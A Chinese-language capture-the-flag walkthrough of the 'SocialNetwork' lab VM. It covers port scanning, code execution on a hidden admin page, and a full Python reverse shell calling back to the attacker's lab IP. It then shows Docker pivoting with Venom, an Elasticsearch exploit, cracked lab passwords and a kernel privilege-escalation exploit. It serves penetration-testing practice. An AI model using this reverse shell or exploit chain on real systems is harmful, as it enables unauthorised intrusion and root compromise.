Contents

打靶-SocialNetwork

0x00 准备工作

中等难度的靶机,Description如下:

1
Leave a message is a new anonymous social networking site where users can post messages for each other. They've assigned you to test their set up. They do utilize docker containers. You can conduct attacks against those too. Try to see if you can get root on the host though.

直接装在vmware上即可。

0x01 正式打靶

上nmap扫描主机的端口,发现开放了22和5000。

再深入扫描一下服务,发现5000端口使用了Werkzeug。

baidu一下,发现Werkzeug是作为一个Python Web框架的底层库。

访问下5000端口,发现存在一个留言板。

使用dirsearch来进行路径发现,发现存在一个隐藏的admin路径,接下来访问它。

好家伙,这个页面可以直接进行代码执行。

这里插一个小细节,之前扫描出web服务的编程语言是python,所以这里可以通过python的代码执行来反弹shell。

应用的代码如下:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.92.129",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

本地开2333端口侦听,执行id命令后,能看到是root用户,不过当前目录下的dockerfile很可疑,可能进入的系统是docker容器的系统。

确定进入的系统是否为docker系统的方法:

  1. ls /.dockerenv,查看根目录下是否存在有.dockerenv文件
  2. cat /proc/1/cgroup ,1代表初始化进程的id,当它的cgroup文件中包含docker文件的映像信息和哈希值,就100%确定工作在docker环境

查看当前ip,然后在内网进行主机发现,当前172.17.0.2/16是b段,全部ping的话,主机数目过多。

这里利用一个小脚本for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done,可以看到1-3主机是存活的。

然后使用Venom工具,./admin_linux_x64 -lport 8888,侦听8888端口,再用python3 -m http.server 80开启web服务,用靶机wget下载agent_linux_x64。

kali上面会得到结点响应,再开启socks5代理。

使用proxychains nmap -sT -Pn 172.17.0.1,扫描172.17.0.1的端口。

再次详细扫描proxychains nmap -p22,5000 -sV -sT -Pn 172.17.0.1,不能说是一模一样,只能说是完全一致。

然后在浏览器部署代理后访问页面。

似曾相识燕归来,根据他们相同的内容,可以做出判断,这所谓的两台主机其实是同一台主机,只不过一个对应内网ip,一个对应外网ip。

好了,下面就朝着172.17.0.3猛攻,扫描它的端口。

开启了9200端口,在详细扫描一下,可以发现是Elasticsearch服务。

web访问,得到版本信息。

利用searchsploit elasticsearch找一下历史漏洞。

使用cp /usr/share/exploitdb/exploits/linux/remote/36337.py .拷贝到当前目录下,简单查看下代码。

使用proxychains python2 36337.py 172.17.0.3来getshell,发现获取到的还是root权限。

在当前目录查看,发现一个passwords文件,查看一下。

文件的格式貌似是用户名和密码的哈希值,在线解密汇总。

john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane

经过尝试ssh连接,只有john用户可以登录到192.168.92.134上。

查看john的权限,发现并不能够直接sudo。

下面尝试本地提权,最主要的一种方法是通过内核漏洞提权,查看下当前的版本。

再利用searchsploit查找下。

拷贝到当前目录,cp /usr/share/exploitdb/exploits/linux/local/37292.c .,这个明显是c语言写的,但是靶机上运行不了gcc,无法编译。

阅读代码发现,代码运行中会再次调用gcc命令将.c文件编译成.so文件。

对源代码进行修改,删除掉143-147行内容。

使用gcc -o exp 37292.c进行编译,编译过程中会报错,但是并不影响。

使用locate命令用于查找符合条件的文件,同样拷贝到当前目录下,再用python启动web服务。

用靶机wget下载exp和ofs-lib.so。

然后把两个文件移到tmp文件夹,再修改exp的权限后执行。

最后,提权成功!